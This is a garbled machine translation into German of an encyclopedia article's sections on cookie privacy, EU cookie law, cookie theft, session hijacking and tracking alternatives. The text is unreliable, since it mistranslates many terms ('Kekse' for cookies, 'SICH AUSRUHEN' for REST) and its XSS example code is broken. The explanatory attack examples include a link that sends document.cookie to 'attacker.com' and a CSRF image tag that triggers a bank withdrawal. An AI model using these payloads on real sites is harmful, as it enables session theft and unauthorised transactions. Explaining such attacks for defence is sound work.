Cookies haben einige wichtige Auswirkungen auf die Privatsphäre und Anonymität der Webbenutzer. Während Cookies nur an den Server gesendet werden, der sie oder einen Server in derselben Internetdomäne einstellt, kann eine Webseite Bilder oder andere Komponenten enthalten, die auf Servern in anderen Domänen gespeichert sind. Kekse, die während des Abrufens dieser Komponenten festgelegt werden, werden genannt Kekse von Drittanbietern. Die älteren Standards für Cookies, RFC 2109 und RFC 2965, geben an, dass Browser die Privatsphäre der Benutzer schützen und nicht standardmäßig die Freigabe von Cookies zwischen Servern zulassen. Der neuere Standard, RFC 6265, ermöglicht es Benutzeragenten jedoch, die gewünschten Cookie-Richtlinien von Drittanbietern zu implementieren. Die meisten Browser, wie z. Mozilla Firefox, Internet Explorer, Oper, und Google ChromeErmöglichen Sie standardmäßig Cookies von Drittanbietern, solange die Website von Drittanbietern hat Kompakte Datenschutzrichtlinie veröffentlicht. Neuere Versionen von Safari Blockieren von Drittanbietern, und dies ist auch für Mozilla Firefox geplant (ursprünglich für Version 22 geplant, aber auf unbestimmte Zeit verschoben).[67]

In diesem fiktiven Beispiel hat eine Werbefirma Banner in zwei Websites eingesetzt. Durch die Hosting der Bannerbilder auf seinen Servern und die Verwendung von Cookies von Drittanbietern kann das Werbeunternehmen das Surfen der Benutzer auf diesen beiden Websites verfolgen.

Werbefirmen verwenden Cookies von Drittanbietern, um einen Benutzer über mehrere Websites hinweg zu verfolgen. Insbesondere kann ein Werbeunternehmen einen Benutzer auf allen Seiten verfolgen, auf denen es Werbebilder platziert hat oder Webfehler. Das Wissen über die von einem Benutzer besuchten Seiten ermöglicht es dem Werbeunternehmen, Werbung für die vermuteten Präferenzen des Benutzers abzurichten.

Website-Betreiber, die keine Kekse von Drittanbietern für Verbraucher offenlegen, führen das Risiko ein, das Vertrauen des Verbrauchers zu schädigen, wenn die Verwendung von Cookie entdeckt wird. Eine klare Offenlegung haben (wie in a Datenschutz-Bestimmungen) neigt dazu, negative Auswirkungen einer solchen Keksentdeckung zu beseitigen.[68]

Die Möglichkeit, ein Profil von Benutzern zu erstellen, besteht darin, eine Datenschutzbedrohung zu erstellen, insbesondere wenn die Verfolgung mit Cookies von Drittanbietern über mehrere Domänen hinweg erfolgt. Aus diesem Grund haben einige Länder Gesetze über Kekse.

Das Vereinigte Staaten Die Regierung hat strenge Regeln für die Festlegung von Keksen im Jahr 2000 festgelegt, nachdem bekannt wurde, dass das Weiße Haus Büro für Drogenpolitik Gebrauchte Cookies, um Computerbenutzer zu verfolgen, die seine Online-Anti-Drogen-Werbung anzeigen. Im Jahr 2002 stellte der Datenschutzaktivist Daniel Brandt fest, dass die CIA hatte anhaltende Cookies auf Computern hinterlassen, die seine Website besucht hatten. Bei der Benachrichtigung, dass es gegen die Richtlinien verstoßen, erklärte die CIA, dass diese Kekse nicht absichtlich festgelegt wurden und nicht mehr eingestellt hätten. Am 25. Dezember 2005 stellte Brandt fest, dass die Nationale Sicherheitsbehörde (NSA) hatte aufgrund eines Software -Upgrades zwei anhaltende Cookies auf den Computern der Besucher hinterlassen. Nachdem die NSA informiert wurde, deaktivierte sie die Cookies sofort.[69]

EU Cookie -Richtlinie

Im Jahr 2002 startete die Europäische Union die Richtlinie über Privatsphäre und elektronische Kommunikation (E-privacy-Richtlinie), eine Richtlinie, die die Zustimmung der Endbenutzer zur Platzierung von Cookies und ähnliche Technologien zum Speichern und Zugriff auf Informationen über die Geräte der Benutzer erfordert.[70][71] Insbesondere in Artikel 5, Absatz 3, schreibt vor, dass das Speichern technisch unnötiger Daten auf dem Computer eines Benutzers nur dann erfolgen kann, wenn dem Benutzer Informationen darüber erhalten, wie diese Daten verwendet werden, und dem Benutzer die Möglichkeit erhalten, diesen Speichervorgang zu verweigern. In der Richtlinie müssen Benutzer keine Cookie-Nutzung autorisieren oder zur Verfügung stellen, die für die Bereitstellung eines von ihnen angeforderten Dienstes, zum Beispiel für die Aufbewahrung von Einstellungen, Speichern von Anmeldesitzungen oder daran, was sich in einem Einkaufskorb eines Benutzers befindet, funktional erforderlich ist.[72]

Im Jahr 2009 wurde das Gesetz von der Richtlinie 2009/136/EC geändert, die eine Änderung zu Artikel 5, Absatz 3 enthielt Lagerung.[71] Die Definition der Einwilligung wird der Definition des europäischen Datenschutzgesetzes, zuerst die Datenschutzrichtlinie von 1995 und anschließend die Datenschutzrichtlinie und anschließend übertragen Datenschutz-Grundverordnung (GDPR). Da die Definition der Einwilligung im Text der DSGVO gestärkt wurde, hatte dies den Einfluss, die Einverständnisqualität zu erhöhen, die für die Speichern und Zugriff auf Informationen wie Cookies auf Benutzern erforderlich waren. In einem Fall, der im Rahmen der Datenschutzrichtlinie entschieden wurde, ist jedoch die Gerichtshof der Europäischen Union später bestätigte jedoch, dass das vorherige Gesetz die gleiche starke Einwilligungsqualität wie das derzeitige Instrument implizierte.[73] Zusätzlich zu der Einverständniserforderung, die beim Speichern oder Zugriff auf Informationen auf dem Terminalgerät eines Benutzers beruht, werden die Informationen in vielen Cookies allein unter der DSGVO als personenbezogene Daten angesehen und benötigen eine rechtliche Grundlage für die Verarbeitung. Dies war seit der Datenschutzrichtlinie von 1995 der Fall, die eine identische Definition personenbezogener Daten verwendete, obwohl die DSGVO in interpretativem Rezital 30 verdeutlicht, dass Cookie -Kennungen enthalten sind. Obwohl nicht die gesamte Datenverarbeitung im Rahmen der DSGVO eine Einwilligung erfordert, bedeuten die Merkmale der Verhaltenswerbung, dass es schwierig oder unmöglich ist, unter einem anderen Boden zu rechtfertigen.[74][75]

Die Zustimmung unter der Kombination der DSGVO- und E-Privacy-Richtlinie muss eine Reihe von Bedingungen in Bezug auf Cookies erfüllen.[76] Es muss frei angegeben und eindeutig sein: Pretickierte Kisten wurden sowohl im Rahmen der Datenschutzrichtlinie 1995 verboten[73] und die DSGVO (Rezital 32).[77] Die DSGVO ist spezifisch, dass die Zustimmung so einfach zu geben ist, sich zurückzuziehen, "[77] Dies bedeutet, dass eine Schaltfläche Ablehnung in Bezug auf Klicks und Sichtbarkeit so einfach zugänglich sein muss wie eine Schaltfläche "Accept All".[76] Es muss spezifisch und informiert sein, was bedeutet, dass die Zustimmung bestimmte Zwecke für die Verwendung dieser Daten bezieht, und alle Organisationen, die diese Einwilligung verwenden möchten, müssen speziell benannt werden.[78][79] Das Gerichtshof der Europäischen Union hat auch entschieden, dass die Einwilligung „effizient und zeitnah“ sein muss, was bedeutet, dass sie erhalten werden muss, bevor Cookies gelegt werden und die Datenverarbeitung anstelle von später beginnt.[80]

Die Reaktion der Branche war weitgehend negativ. Robert Bond von der Anwaltskanzlei Speechly Bircham beschreibt die Auswirkungen als "weitreichend und unglaublich belastend" für "alle britischen Unternehmen". Simon Davis von Privacy International argumentiert, dass eine ordnungsgemäße Durchsetzung "die gesamte Branche zerstören" würde.[81] Wissenschaftler stellen jedoch fest, dass die belastende Natur von Cookie-Pop-ups auf den Versuch zurückzuführen ist, ein Geschäftsmodell durch verworrene Anfragen, die möglicherweise mit der DSGVO nicht kompatibel sind, weiter zu betreiben.[74]

Akademische Studien und Aufsichtsbehörden beschreiben beide weit verbreitete Nichteinhaltung des Gesetzes. Eine Studie, die 10.000 britische Websites abkratzte, ergab, dass nur 11,8% der Websites minimale gesetzliche Anforderungen hielten. Nur 33,4% der untersuchten Websites lieferten einen Mechanismus, um Cookies abzulehnen, die so einfach zu verwenden waren wie die Akzeptanz.[76] Eine Studie mit 17.000 Websites ergab, dass 84% ​​der Websites gegen dieses Kriterium verstoßen haben und zusätzlich feststellten, dass viele Kekse Dritter ohne Ankündigung legten.[82] Die britische Regulierungsbehörde, die Büro des Informationskommissars, erklärte im Jahr 2019, dass der „Transparenz- und Zustimmungsrahmen der Branche“ von der Werbetechnologiegruppe die Interaktives Werbebüro war "nicht ausreichend, um die Transparenz und faire Verarbeitung der betreffenden personenbezogenen Daten zu gewährleisten, und daher auch nicht ausreichend, um eine kostenlose und informierte Einwilligung zu gewährleisten, und die damit verbundenen Auswirkungen auf die Einhaltung von PECR [e-privacy]".[78] Viele Unternehmen, die Compliance -Lösungen verkaufen (Einverständnismanagementplattformen), ermöglichen es ihnen, auf offensichtlich illegale Weise konfiguriert zu werden.[83]

A W3c Spezifikation aufgerufen P3P Es wurde vorgeschlagen, dass Server ihre Datenschutzrichtlinien an Browser mitteilen und eine automatische, benutzerkonfigurierbare Handhabung ermöglichen. Nur wenige Websites implementieren die Spezifikation, keine größeren Browser unterstützen sie und der W3C hat die Arbeit an der Spezifikation eingestellt.[84]

Cookies von Drittanbietern können von den meisten Browsern blockiert werden, um die Privatsphäre zu erhöhen und die Verfolgung durch Werbung und Verfolgung von Unternehmen zu verringern, ohne sich negativ auf das Web-Erlebnis des Benutzers auf allen Websites auswirken. Einige Websites betreiben "Cookie Walls", die den Zugriff auf eine Website ermöglichen, die von Cookies entweder technisch in einem Browser, durch Drücken von "Akzeptieren" oder beides zugelassen wird.[85] Im Jahr 2020 die Europäische Datenschutzbehörde, bestehend aus allen EU -Datenschutzaufsichtsbehörden, erklärte, dass die Kekswände illegal waren.

Damit die Einwilligung frei eingereicht werden kann, darf der Zugriff auf Dienste und Funktionen nicht von der Zustimmung eines Benutzers mit der Speicherung von Informationen oder dem Erwerb von Zugriff auf bereits gespeicherte Informationen in der Terminalausrüstung eines Benutzers abhängig sein (so genannt Kekswände).[86]

Viele Werbebetreiber haben eine Opt-out-Option für Verhaltenswerbung, wobei ein generisches Cookie im Browser Verhaltenswerbung stoppt.[87][88] Dies ist jedoch häufig gegen viele Formen der Verfolgung unwirksam, wie z. B. Erstanbieter-Tracking, die immer beliebter werden, um die Auswirkungen von Browsern zu vermeiden, die Kekse von Drittanbietern blockieren.[89][90] Wenn eine solche Kulisse schwieriger zu platzieren ist als die Akzeptanz der Verfolgung, bleibt sie gegen die Bedingungen der E-Privacy-Richtlinie verstoßen.[76]

Cookie -Diebstahl und Sitzungsentführung

Die meisten Websites verwenden Cookies als einzige Kennung für Benutzersitzungen, da andere Methoden zur Identifizierung von Webnutzern Einschränkungen und Schwachstellen haben. Wenn eine Website Cookies als Sitzungskenner verwendet, können Angreifer die Anfragen von Benutzern ausgeben, indem sie eine vollständige Reihe von Cookies der Opfer stehlen. Aus Sicht des Webservers hat eine Anfrage eines Angreifers dann die gleiche Authentifizierung wie die Anfragen des Opfers. Somit wird die Anfrage im Namen der Opfersitzung durchgeführt.

Hier sind verschiedene Szenarien von Cookie -Diebstahl und Benutzersitzungsbeherrschung (auch ohne Diebstahl von Benutzer -Cookies) aufgeführt, die mit Websites funktionieren, die sich ausschließlich auf HTTP -Cookies für die Benutzeridentifikation stützen.

Netzwerklauschen

Ein Cookie kann von einem anderen Computer gestohlen werden, der aus dem Netzwerk lesen dürfte

Der Datenverkehr in einem Netzwerk kann von Computern im Netzwerk außer dem Absender und Empfänger abgefangen und gelesen werden (insbesondere Over unverschlüsselt offen W-lan). Dieser Verkehr beinhaltet Cookies, die auf gewöhnlich unverschlüsselte gesendet wurden HTTP -Sitzungen. Wenn der Netzwerkverkehr nicht verschlüsselt ist, können Angreifer daher die Kommunikation anderer Benutzer im Netzwerk, einschließlich HTTP -Cookies sowie den gesamten Inhalt der Gespräche, zum Zweck von a lesen Mann-in-the-Middle-Angriff.

Ein Angreifer könnte abgefangene Cookies verwenden, um sich als Benutzer auszugeben und eine böswillige Aufgabe auszuführen, z. B. das Übertragen von Geld von dem Bankkonto des Opfers.

Dieses Problem kann gelöst werden, indem die Kommunikation zwischen dem Computer des Benutzers und dem Server durch die Verwendung gesichert wird Transportschichtsicherheit (Https Protokoll), um die Verbindung zu verschlüsseln. Ein Server kann die angeben Sicher Facken Sie beim Einstellen eines Cookies, wodurch der Browser den Cookie nur über einen verschlüsselten Kanal sendet, z. B. eine TLS -Verbindung.[49]

Veröffentlichung falscher Unterdomäne: DNS-Cache-Vergiftung

Wenn ein Angreifer in der Lage ist, a zu verursachen DNS Server Um einen hergestellten DNS -Eintrag zu leiten (genannt DNS -Cache -Vergiftung), dann könnte der Angreifer es ermöglichen, Zugriff auf die Cookies eines Benutzers zu erhalten. Zum Beispiel könnte ein Angreifer eine DNS -Cache -Vergiftung verwenden, um einen hergestellten DNS -Eintrag von zu erstellen f12345.www.example.com das zeigt auf die IP Adresse des Servers des Angreifers. Der Angreifer kann dann eine Bild -URL von seinem eigenen Server aus veröffentlichen (zum Beispiel, http://f12345.www.example.com/img_4_cookie.jpg). Opfer, die die Nachricht des Angreifers lesen, würden dieses Bild herunterladen f12345.www.example.com. Seit f12345.www.example.com ist eine Unterdomäne von www.example.comDie Browser der Opfer würden alle einreichen Beispiel.com-bezogene Cookies mit dem Server des Angreifers.

Wenn ein Angreifer dies erreichen kann, ist dies normalerweise die Schuld der Internetanbieter um ihre DNS -Server nicht richtig zu sichern. Die Schwere dieses Angriffs kann jedoch verringert werden, wenn die Zielwebsite sichere Cookies verwendet. In diesem Fall hätte der Angreifer die zusätzliche Herausforderung[91] das TLS -Zertifikat der Zielwebsite von a zu erhalten ZertifizierungsstelleDa sichere Kekse nur über eine verschlüsselte Verbindung übertragen werden können. Ohne ein passendes TLS -Zertifikat würden die Browser der Opfer eine Warnmeldung über das ungültige Zertifikat des Angreifers anzeigen, die den Benutzern davon abhalten würde, die betrügerische Website des Angreifers zu besuchen und dem Angreifer ihre Cookies zu senden.

Cross-Site Scripting: Cookie-Diebstahl

Hauptartikel: Cross-Site-Scripting

Cookies können auch mit einer Technik gestohlen werden, die als Cross-Site-Skripten bezeichnet wird. Dies tritt auf, wenn ein Angreifer eine Website nutzt, auf der seine Benutzer eine Vergütung veröffentlichen können Html und JavaScript Inhalt. Durch die Veröffentlichung böswilliger HTML und JavaScript -Code kann der Angreifer den Webbrowser des Opfers dazu veranlassen, die Cookies des Opfers auf eine Website zu schicken, die der Angreifer steuert.

Als Beispiel kann ein Angreifer eine Nachricht auf veröffentlichen www.example.com mit dem folgenden Link:

<a href="#" ONCLICK="window.location = 'http://attacker.com/stole.cgi?text=' + Escape.cookie);>Klick hier!a>
Cross-Site-Scripting: Ein Cookie, das nur zwischen einem Server und einem Client ausgetauscht werden sollte, wird an eine andere Partei gesendet.

Wenn ein anderer Benutzer auf diesen Link klickt, führt der Browser das Code -Stück innerhalb der aus ONCLICK Attribut und somit die Zeichenfolge ersetzt document.cookie mit der Liste der Cookies, die auf der aktuellen Seite zugänglich sind. Infolgedessen wird diese Liste der Cookies an die gesendet Angreifer.com Server. Wenn sich die böswillige Posting des Angreifers auf einer HTTPS -Website befindet https://www.example.com, sicher werden sichere Cookies auch im Klartext an attacker.com gesendet.

Es liegt in der Verantwortung der Website -Entwickler, einen solchen böswilligen Code herauszufiltern.

Solche Angriffe können durch Verwendung von HTTPonly -Cookies gemindert werden. Diese Cookies sind nicht über clientseitige Skriptsprachen wie JavaScript zugänglich, und daher kann der Angreifer diese Cookies nicht sammeln.

Cross-Site Scripting: Proxy-Anfrage

In älteren Versionen vieler Browser gab es Sicherheitslöcher in der Implementierung der Xmlhttprequest API. Mit dieser API können Seiten einen Proxy -Server angeben, der die Antwort erhalten würde, und dieser Proxy -Server unterliegt nicht der gleichorientierte Politik. Zum Beispiel liest ein Opfer die Posting eines Angreifers an www.example.comund das Drehbuch des Angreifers wird im Browser des Opfers ausgeführt. Das Skript generiert eine Anfrage an www.example.com mit dem Proxy -Server Angreifer.com. Da ist die Anfrage für www.example.com, alle Beispiel.com Cookies werden zusammen mit der Anfrage gesendet, aber über den Proxy -Server des Angreifers geleitet. Daher würde der Angreifer in der Lage sein, die Kekse des Opfers zu ernten.

Dieser Angriff würde nicht mit sicheren Keksen funktionieren, da sie nur übertragen werden können Https Verbindungen und das HTTPS -Protokoll diktiert End-to-End-Verschlüsselung (d. H. Die Informationen werden im Browser des Benutzers verschlüsselt und auf dem Zielserver entschlüsselt). In diesem Fall würde der Proxy -Server nur die rohen, verschlüsselten Bytes der HTTP -Anfrage sehen.

Cross-Site-Anfragefälschung

Hauptartikel: Cross-Site-Anfragefälschung

Zum Beispiel könnte Bob ein Chat -Forum durchsuchen, in dem ein anderer Benutzer, Mallory, eine Nachricht veröffentlicht hat. Angenommen, Mallory hat ein HTML -Bildelement erstellt, das auf eine Aktion auf der Website der Bobs Bank (und nicht auf eine Bilddatei) verweist, z. B.

 src ="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Wenn Bobs Bank seine Authentifizierungsinformationen in einem Cookie behält und der Cookie nicht abgelaufen ist, wird der Versuch von Bobs Browser, das Bild zu laden, das Auszahlungsformular mit seinem Keks eingereicht, wodurch eine Transaktion ohne Bobs Genehmigung genehmigt wird.

Cookiejacking

Cookiejacking ist ein Angriff gegen Internet Explorer Dadurch kann der Angreifer stehlen Session Cookies eines Benutzer, indem ein Benutzer dazu gebracht wird, ein Objekt über den Bildschirm zu ziehen.[92] Microsoft hielt den Fehler mit geringem Risiko an, weil "die erforderliche Benutzerinteraktion".[92] und die Notwendigkeit, einen Benutzer bereits auf der Website angemeldet zu haben, dessen Cookie gestohlen wird.[93] Trotzdem versuchte ein Forscher den Angriff auf 150 ihrer Facebook -Freunde und erhielt Kekse von 80 von ihnen durch soziale Entwicklung.[92]

Nachteile von Keksen

Neben Datenschutzbedenken haben Cookies auch einige technische Nachteile. Insbesondere identifizieren sie Benutzer nicht immer genau, sie können für Sicherheitsangriffe verwendet werden und stehen häufig im Widerspruch zur Übertragung der Repräsentationsstaat (überein (SICH AUSRUHEN) Software -Architekturstil.[94][95]

Ungenaue Identifizierung

Wenn mehr als ein Browser auf einem Computer verwendet wird, verfügt normalerweise über einen separaten Speicherbereich für Cookies. Daher identifizieren Cookies keine Person, sondern eine Kombination aus einem Benutzerkonto, einem Computer und einem Webbrowser. So hat jeder, der mehrere Konten, Computer oder Browser verwendet, mehrere Sätze von Cookies.[96]

Ebenso unterscheiden Cookies nicht zwischen mehreren Benutzern, die dasselbe teilen Benutzerkonto, Computer und Browser.

Inkonsistenter Status auf Client und Server

Die Verwendung von Cookies kann eine Inkonsistenz zwischen dem Zustand des Kunden und dem im Cookie gespeicherten Staat erzeugen. Wenn der Benutzer ein Cookie erwirbt und dann auf die Schaltfläche "Zurück" des Browsers klickt, ist der Status des Browsers im Allgemeinen nicht mit der gleichen wie vor dieser Akquisition. Wenn der Einkaufswagen eines Online -Shops mit Cookies erstellt wird, ändert sich der Inhalt des Wagen Klicken Sie dann auf die Schaltfläche "Zurück", der Artikel bleibt im Einkaufswagen. Dies ist möglicherweise nicht die Absicht des Benutzers, der möglicherweise das Hinzufügen des Elements rückgängig machen wollte. Dies kann zu Unzuverlässigkeit, Verwirrung und Fehlern führen. Webentwickler sollten sich dieses Problems bewusst sein und Maßnahmen zur Bearbeitung solcher Situationen implementieren.

Alternativen zu Keksen

Einige der Operationen, die mit Cookies ausgeführt werden können, können auch mit anderen Mechanismen durchgeführt werden.

JSON Web Tokens

A JSON Web Token (JWT) ist ein in sich geschlossenes Informationenpaket, mit dem Benutzeridentitäts- und Authentizitätsinformationen gespeichert werden können. Auf diese Weise können sie anstelle von Sitzungs Cookies verwendet werden. Im Gegensatz zu Cookies, die vom Browser automatisch an jede HTTP -Anforderung angeschlossen sind, müssen JWTS von der Webanwendung explizit an jede HTTP -Anforderung angeschlossen werden.

HTTP -Authentifizierung

Das HTTP -Protokoll enthält das Grundlegende Zugriffsauthentifizierung und die Zugriffsauthentifizierung verdau Protokolle, die nur dann Zugriff auf eine Webseite ermöglichen, wenn der Benutzer den richtigen Benutzernamen und Kennwort gegeben hat. Wenn der Server solche Anmeldeinformationen für die Gewährung des Zugriffs auf eine Webseite verlangt, fordert der Browser sie vom Benutzer an und sendet sie nach Erhalt der Browser und sendet diese in jeder nachfolgenden Seitenanforderung. Diese Informationen können verwendet werden, um den Benutzer zu verfolgen.

IP Adresse

Einige Benutzer können basierend auf dem verfolgt werden IP Adresse des Computers, der die Seite anfordert. Der Server kennt die IP -Adresse des Computers, das den Browser ausführt (oder der Proxy, falls eine Verwendung verwendet wird) und kann theoretisch die Sitzung eines Benutzers mit dieser IP -Adresse verknüpfen.

IP -Adressen sind jedoch im Allgemeinen keine zuverlässige Möglichkeit, eine Sitzung zu verfolgen oder einen Benutzer zu identifizieren. Viele Computer, die von einem einzelnen Benutzer verwendet werden sollen, wie z. B. Office -PCs oder Home -PCs, stehen hinter einem Netzwerkadressenübersetzer (NAT). Dies bedeutet, dass mehrere PCs eine öffentliche IP -Adresse teilen. Darüber hinaus einige Systeme, wie z. Tor, sind so konzipiert, dass sie behalten werden Internet -Anonymität, die Verfolgung durch IP -Adresse unpraktisch, unmöglich oder ein Sicherheitsrisiko macht.

URL (Abfragezeichenfolge)

Eine genauere Technik basiert auf dem Einbetten von Informationen in URLs. Das Abfragezeichenfolge Teil von URL ist der Teil, der normalerweise für diesen Zweck verwendet wird, aber auch andere Teile können verwendet werden. Das Java Servlet und Php Sitzungsmechanismen verwenden diese Methode, wenn Cookies nicht aktiviert sind.

Diese Methode besteht aus dem Webserver, an dem Abfragesträge anhängen, die eine eindeutige Sitzungskennung für alle Links innerhalb einer Webseite enthalten. Wenn der Benutzer einem Link folgt, sendet der Browser die Abfragezeichenfolge an den Server, sodass der Server den Benutzer identifizieren und Status verwalten kann.

Diese Art von Abfragesträgern ähnelt Cookies insofern sehr, da beide beliebige Informationen enthalten, die vom Server ausgewählt wurden und beide bei jeder Anfrage an den Server zurückgeschickt werden. Es gibt jedoch einige Unterschiede. Da eine Abfragezeichenfolge Teil einer URL ist, werden die gleichen angehängten Informationen an den Server gesendet, was zu Verwirrung führen kann. Wenn beispielsweise die Einstellungen eines Benutzers in der Abfragezeichenfolge einer URL codiert sind und der Benutzer diese URL an einen anderen Benutzer sendet EmailDiese Einstellungen werden auch für diesen anderen Benutzer verwendet.

Wenn derselbe Benutzer mehrmals aus verschiedenen Quellen auf die gleiche Seite zugreift, gibt es keine Garantie dafür, dass dieselbe Abfragezeichenfolge jedes Mal verwendet wird. Wenn ein Benutzer beispielsweise eine Seite besucht, indem er von einer Seite kommt intern zur Seite das erste Mal und besucht dann die gleiche Seite, indem er von einem kommt extern Suchmaschine Beim zweiten Mal wären die Abfragebräge wahrscheinlich unterschiedlich. Wenn in dieser Situation Cookies verwendet würden, wären die Kekse gleich.

Andere Nachteile von Abfragesteichen beziehen sich auf die Sicherheit. Speichern von Daten, die eine Sitzung in einer Abfragezeichenfolge identifizieren Sitzungsfixierung Anschläge, Referer Protokollierungsangriffe und andere Sicherheitsausbeutung. Die Übertragung von Sitzungskennungen als HTTP -Cookies ist sicherer.

Versteckte Formfelder

Eine andere Form der Sitzungsverfolgung ist die Verwendung Webformen mit versteckten Feldern. Diese Technik ist der Verwendung von URL -Abfragesteichen sehr ähnlich, um die Informationen zu halten, und hat viele der gleichen Vorteile und Nachteile. In der Tat, wenn die Form mit dem behandelt wird Http GET -Methode, dann ähnelt diese Technik der Verwendung von URL -Abfragebrägen, da die GET -Methode die Formularfelder der URL als Abfragezeichenfolge hinzufügt. Die meisten Formen werden jedoch mit HTTP -Post behandelt, wodurch die Forminformationen, einschließlich der versteckten Felder, in das HTTP -Anforderungsbehörde gesendet werden, der weder Teil der URL noch eines Keks ist.

Dieser Ansatz bietet zwei Vorteile aus der Sicht des Tracker. Erstens bedeutet dies, dass die Verfolgungsinformationen in der HTTP -Anforderungsbehörde und nicht in der URL platziert werden, dass der durchschnittliche Benutzer nicht bemerkt wird. Zweitens werden die Sitzungsinformationen nicht kopiert, wenn der Benutzer die URL kopiert (um die Seite mit einem Lesezeichen zu versehen oder sie beispielsweise per E -Mail zu senden).

"window.name" DOM ​​-Eigenschaft

Alle aktuellen Webbrowser können eine ziemlich große Datenmenge (2–32 MB) über JavaScript verwenden Dom Eigentum Fenster.name. Diese Daten können anstelle von Sitzungs Cookies verwendet werden und sind auch Cross-Domain. Die Technik kann mit gekoppelt werden JSON/JavaScript -Objekte zum Speichern komplexer Sätze von Sitzungsvariablen auf der Clientseite.

Der Nachteil ist, dass jedes separate Fenster oder Tab wird anfangs einen leeren haben Fenster.name Eigentum beim Öffnen. Darüber hinaus kann die Immobilie verwendet werden Internet -Privatsphäre.

In gewisser Hinsicht kann dies sicherer sein als Cookies, da der Inhalt nicht automatisch an den Server gesendet wird, wie Cookies, so dass es nicht anfällig ist, Cookie -Sniffing -Angriffe zu vernetzen. Wenn jedoch nicht spezielle Maßnahmen zum Schutz der Daten getroffen werden, ist sie für andere Angriffe anfällig, da die Daten auf verschiedenen Websites verfügbar sind, die in derselben Fenster oder Registerkarte geöffnet sind.

Kennung für Werbetreibende

Apple verwendet eine Tracking -Technik, die "The" nennt "Kennung für Werbetreibende"(IDFA). Diese Technik weist jedem Benutzer, der ein Apple iOS -Gerät (z. B. ein iPhone oder iPad) kauft, eine eindeutige Bezeichnung zu. Diese Kennung wird dann vom Apple -Werbenetzwerk verwendet. iad, um die Anzeigen zu bestimmen, auf die sich Einzelpersonen anzeigen und darauf reagieren.[97]

ETAG

Hauptartikel: HTTP ETAG § Tracking mit ETAGs

Da ETAGs vom Browser zwischengespeichert und mit nachfolgenden Anfragen für dieselbe Ressource zurückgegeben werden, kann ein Tracking -Server einfach jeden vom Browser empfangenen ETAG wiederholen, um sicherzustellen, dass ein zugewiesener ETAG auf unbestimmte Zeit besteht (in ähnlicher Weise wie anhaltende Kekse). Zusätzliche Caching -Headerfelder können auch die Erhaltung der ETAG -Daten verbessern.

ETAGs können in einigen Browsern durch Löschen der Browser-Cache.

Webspeicher

Hauptartikel: Webspeicher

Einige Webbrowser unterstützen Persistenzmechanismen, die es der Seite ermöglichen, die Informationen lokal für die spätere Verwendung zu speichern.

Das HTML5 Standard (die die meisten modernen Webbrowser in gewissem Maße unterstützen) beinhaltet eine JavaScript -API namens Webspeicher Dies ermöglicht zwei Arten von Speicher: Lokaler Speicher und Sitzungspeicher. Lokale Speicher verhält sich ähnlich wie anhaltende Kekse Während sich die Sitzungspeicher ähnlich verhält wie Session Cookies, außer dass die Sitzungspeicher an eine individuelle Registerkarte/Fenster -Lebensdauer (auch bekannt als eine Seitensitzung) gebunden ist, nicht an eine ganze Browser -Sitzung wie Sitzungs Cookies.[98]

Internet Explorer unterstützt anhaltende Informationen[99] Im Browser -Verlauf des Browsers, in den Favoriten des Browsers, in einem XML -Store ("Benutzerdaten") oder direkt auf einer auf der Festplatte gespeicherten Webseite.

Einige Webbrowser -Plugins enthalten auch Persistenzmechanismen. Zum Beispiel, Adobe Flash hat Lokales gemeinsames Objekt und Microsoft Silverlight hat isolierte Lagerung.[100]

Browser-Cache

Hauptartikel: Webcache

Der Browser -Cache kann auch zum Speichern von Informationen verwendet werden, mit denen einzelne Benutzer verfolgt werden können. Diese Technik nutzt die Tatsache, dass der Webbrowser Ressourcen verwendet, die im Cache gespeichert sind, anstatt sie von der Website herunterzuladen, wenn er feststellt, dass der Cache bereits die aktuellste Version der Ressource hat.

Beispielsweise könnte eine Website eine JavaScript -Datei mit Code bedienen, die einen eindeutigen Kenner für den Benutzer festlegt (z. B., var userID = 3243242;). Nach dem ersten Besuch des Benutzers wird diese Datei jedes Mal, wenn der Benutzer auf die Seite zugreift, aus dem Cache geladen, anstatt vom Server heruntergeladen zu werden. So wird sich sein Inhalt nie ändern.

Browser -Fingerabdruck

Hauptartikel: Gerätefingerabdruck

A Browser -Fingerabdruck Wird Informationen über die Konfiguration eines Browsers wie die Versionsnummer, die Bildschirmauflösung und das Betriebssystem zum Zweck der Identifizierung gesammelt. Fingerabdrücke können verwendet werden, um einzelne Benutzer oder Geräte vollständig oder teilweise zu identifizieren, selbst wenn Cookies ausgeschaltet sind.

Basic Webbrowser Konfigurationsinformationen wurden seit langem von gesammelt von Netz Analyse Dienstleistungen, um den echten Menschen genau zu messen Webverkehr und ergeben verschiedene Formen von Klicken Sie auf Betrug. Mit Hilfe von Client-Seite Scripting Sprachen, die Sammlung viel mehr esoterischerer Parameter ist möglich.[101][102] Die Assimilation solcher Informationen in eine einzelne Zeichenfolge ist ein Gerätefingerabdruck. In 2010, Eff gemessen mindestens 18,1 Bit von Entropie möglich vom Browser -Fingerabdruck.[103] Fingerabdruck von LeinwandEine neuere Technik behauptet, weitere 5,7 Bit hinzuzufügen.

Siehe auch

Verweise

  1. ^ "Was sind Cookies? Was sind die Unterschiede zwischen ihnen (Sitzung vs. persistent)?". Cisco. 17. Juli 2018. 117925.
  2. ^ a b Vamosi, Robert (14. April 2008). "Google Mail Cookie über Google -Tabellenkalkulationen gestohlen". News.cnet.com. Archiviert Aus dem Original am 9. Dezember 2013. Abgerufen 19. Oktober 2017.
  3. ^ "Was ist mit der" EU -Cookie -Richtlinie "?. Webcookies.org. 2013. Archiviert Aus dem Original am 11. Oktober 2017. Abgerufen 19. Oktober 2017.
  4. ^ "Neue Netzregeln, die Cookies zusammenbröckeln lassen". BBC. 8. März 2011. Archiviert Aus dem Original am 10. August 2018. Abgerufen 21. Juni 2018.
  5. ^ "Senator Rockefeller: Machen Sie sich bereit für einen echten Do-nicht-Track-Gesetz für Online-Werbung". ACTAGE.COM. 6. Mai 2011. Archiviert Aus dem Original am 24. August 2011. Abgerufen 2. Juni 2011.
  6. ^ "Woher kommt Cookie :: Dominopower". Dominopower.com. Archiviert Aus dem Original am 19. Oktober 2017. Abgerufen 19. Oktober 2017.
  7. ^ Raymond, Eric (Hrsg.). "Magic Cookie". Die Jargon -Datei (Version 4.4.7). Archiviert Aus dem Original am 6. September 2017. Abgerufen 8. September 2017.
  8. ^ "Warum werden Internet -Cookies Cookies genannt?".
  9. ^ Schwartz, John (4. September 2001). "Das Vergeben eines Speichers kostet die Privatsphäre der Benutzer des Benutzers". Die New York Times. Archiviert Aus dem Original am 18. November 2011. Abgerufen 19. Februar 2017.
